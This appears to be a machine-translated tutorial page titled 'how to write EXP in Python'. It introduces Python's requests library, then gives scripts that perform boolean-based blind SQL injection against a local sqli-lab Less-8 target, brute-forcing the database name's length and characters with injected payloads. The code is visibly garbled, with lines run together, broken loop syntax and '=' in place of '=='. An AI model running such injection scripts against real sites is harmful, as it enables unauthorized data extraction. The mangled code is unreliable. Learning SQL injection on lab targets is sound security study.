In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >
Share
Shulou(Shulou.com)06/02 Report--
This article introduces the knowledge of "how to write EXP in Python". In the operation of actual cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!
I. Environment
1 、 python3
2. The module used requests
3 、 sqli-lab
II. Application of requests module
1. Get the content of the web page
# coding=utf-8import requestsres=requests.get ("http://192.168.1.129/html/1.html")print(res.content.decode("utf-8"))"
2. Get header information
3. Get the submitted URL
Print (res.headers) print (res.url)
Running result:
{'Date':' Tue, 04 Aug 2020 13:01:06 GMT', 'Server':' Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'Last-Modified':' Sun, 31 May 2020 15:48:24 GMT', 'ETag':' "676-5a6f39bc391c0", 'Accept-Ranges':' bytes', 'Content-Length':' 1654, 'Keep-Alive':' timeout=5, max=100' 'Connection': 'Keep-Alive',' Content-Type': 'text/html'} http://192.168.1.129/html/1.html
4. Modify UA information during access
# coding=utf-8import requestsurl= "http://192.168.1.129/html/1.html"header={"User-Agent":"aiyoubucuo"}res=requests.get(url,headers=header)print(res.request.headers) running result: {'User-Agent':' aiyoubucuo', 'Accept-Encoding':' gzip, deflate', 'Accept':' * / *', 'Connection':' keep-alive'}
5. Timeout processing. No response on the web page for more than three seconds is regarded as an exception.
# coding=utf-8import requestsurl= "http://192.168.1.129/html/chaoshi.php"try: res=requests.get (url,timeout=3) print (res.request.headers) except Exception as e: print (" Page timed out! ")
6. Submit get data
# coding=utf-8import requestsurl= "http://192.168.1.129/get.php"data={"aiyou":"bucuo"}res=requests.get(url,params=data)print(res.url)
Running result:
Http://192.168.1.129/get.php?aiyou=bucuo
7. POST submits data
# coding=utf-8import requestsurl= "http://192.168.1.129/post.php"datas={"aiyou":"bucuo"}res=requests.post(url,data=datas)print(res.content.decode("utf-8"))
Running result:
Array (1) {["aiyou"] = > string (5) "bucuo"}
8. Upload files
# coding=utf-8import requestsurl= "http://192.168.1.129/shangchuan.php"upfile={"file":open("123.txt","rb")}datas={"submit":"submit"}res=requests.post(url,files=upfile,data=datas)print(res.content.decode("utf-8"))
Running result:
Third, obtain the database length
# determine the database length Http://192.168.1.129/sqli/Less-8/?id=8' and (length (database () = 8-+ # coding=utf-8import requestsurl= "length of data returned by http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print(" under normal circumstances" + str (reslen) dblen=0while True: dburl=url+ "? id=1'+and+ (length (database () =" + str (dblen) + "- +" print (dburl) if len (requests.get (dburl) .text) = = reslen: print ("Database name length is:" + str (dblen)) break if dblen==30: print ("error!") Break dblen+=1
Running result:
4. Get the database name
# coding=utf-8import stringimport requestsurl= "length of data returned by a web page under normal http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("" + str (reslen)) # determine the length of the database Http://192.168.1.129/sqli/Less-8/?id=2' and (length (database () = 8-+ dblen=0while True: dburl=url+ "? id=1'+and+ (length (database () =" + str (dblen) + "- +" print (dburl) if len (requests.get (dburl) .text) = reslen: print ("Database name length:" str (dblen)) break if dblen==30: print ("error occurred!") Break dblen+=1dbnmae= "" # generate 8 letters for i in range (1 dburl 9): # get the letters from Amurz for an in string.ascii_lowercase: dburl=url+ "? id=1'+and+substr (database ()," + str (I) + ", 1) =" + "" + "+ a +" + "print (dburl) if len (requests.get (dburl) .text) = reslen: dbnmae+=a print (dbnmae) break
Running result:
This is the end of "how to write EXP in Python". Thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.